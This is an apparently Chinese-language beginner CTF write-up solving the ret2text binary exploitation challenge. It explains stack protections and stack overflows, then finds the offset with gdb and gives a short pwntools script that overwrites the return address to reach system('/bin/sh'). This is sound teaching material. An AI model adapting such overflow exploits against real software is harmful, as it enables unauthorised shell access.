二进制安全
不论是网络安全中的web安全还是二进制安全等都是一个很玄学的东西,科学的尽头是是玄学嘛,不论你选的是哪个方向,用心就好了,重在坚持了。我会通过写文章的方式来记录自己的新的体会,这本身就是具有成就感。
工具安装环境搭建
首先需要一个Ubuntu的系统以及PWN的神器IDA等等插件具体请看这篇二进制入门环境安装文章
这里就不多说了,直接做题就好了。
开始做题
此次做题我们用的是CTFwiki中的ret2text赋予他执行权限(chmod 777 ret2text)
0x1
拿到一道题的第一步我们先去检查他的保护机制
checksec ret2text
Arch: i386-32-little //文件为32位程序
RELRO: Partial RELRO
Stack: No canary found //未开启canary保护
NX: NX enabled //开启了栈不可执行保护
PIE: No PIE (0x8048000) //未开启地址无关可执行
既然提到了保护机制的原理我们可以参考这篇文章Linux中的保护机制只有了解了它的保护机制我们才可以通过某种手法来绕过利用,从而拿到我们想要的东西。
canary(栈保护)
当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie
信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行
(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode
的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。
PIE
如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址
NX(DEP)
NX即No-eXecute(不可执行)的意思,限制一块内存区域不可执行。
ASLR
ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
但是,地址随机化不是对所有模块和内存区都进行随机化!虽然libc、栈、堆的加载位置被随机化,但主镜像不会。
0x2
通过第一步观察到本题是32位程序,对应的是32的IDA。加载出来的是汇编语言,然后就要去看它的main函数按F5反汇编,观察代码
看到这里存在栈溢出漏洞。
栈溢出漏洞
溢出溢出,字面上就是往容器里加的水超过了水的容积,简单讲,栈溢出就是向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,造成溢出。发生栈溢出的条件:程序必须向栈上写入数据。写入的数据大小没有被良好地控制。利用方式:覆盖程序的返回地址为攻击者所控制的地址,比如该地址为执行shellcode的地址shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,可以让攻击者获得shell,利用pwntools可自动生成,等用到再说。可能造成栈溢出的函数。
可能造成栈溢出的函数有:gets,scanf,vscanf,sprintf,strcpy,strcat,bcopy
摘自某大佬博客
0x3
继续浏览其他函数的伪代码。发现secure函数中调用了system(“/bin/sh”),我们只需要想办法执行这system(“/bin/sh”)从而拿到我们想要的shell。
我们现在大概确定了栈溢出漏洞,我们首先要知道这个漏洞到底有多深,然后我们了解了这个漏洞的深度把东西填装进去让他覆盖到这个system(“/bin/sh”)这个地址我们就可以得到shell了。那如何确定这个偏移量和这个地址呢?
第一步利用gdb进行调试看它的偏移
gdb -q ./ret2text
//gdb载入该文件
pattern create 200
//制造200个填充字符(多少字符都行),先把他复制下来
r
//运行程序
pattern offset 地址
//确定偏移
计算的偏移量为112,下面找到system(“/bin/sh”)地址就可以构造exp了,那么我们看在IDA看在secure中调用system(“/bin/sh”)的地址
exp如下
from pwn import*
//导入python库
p = process("./ret2text")
//与文件建立本地连接,远程连接用r = remote('ip',端口)
payload = 'a'*112 + p32(0x804863A)
//p32()将其打包,64位用p64()
p.sendline(payload)
//发送payload
p.interactive()
//直接进行交互,相当于回到shell的模式,在取得shell之后使用
执行exp
pwntools参数及使用可参照:pwntools使用
最后推荐学习网站:CTFwiki 看雪论坛 吾爱破解 B站 都有不错的资源学习。
此篇文章如果存在问题,还望大佬批评指正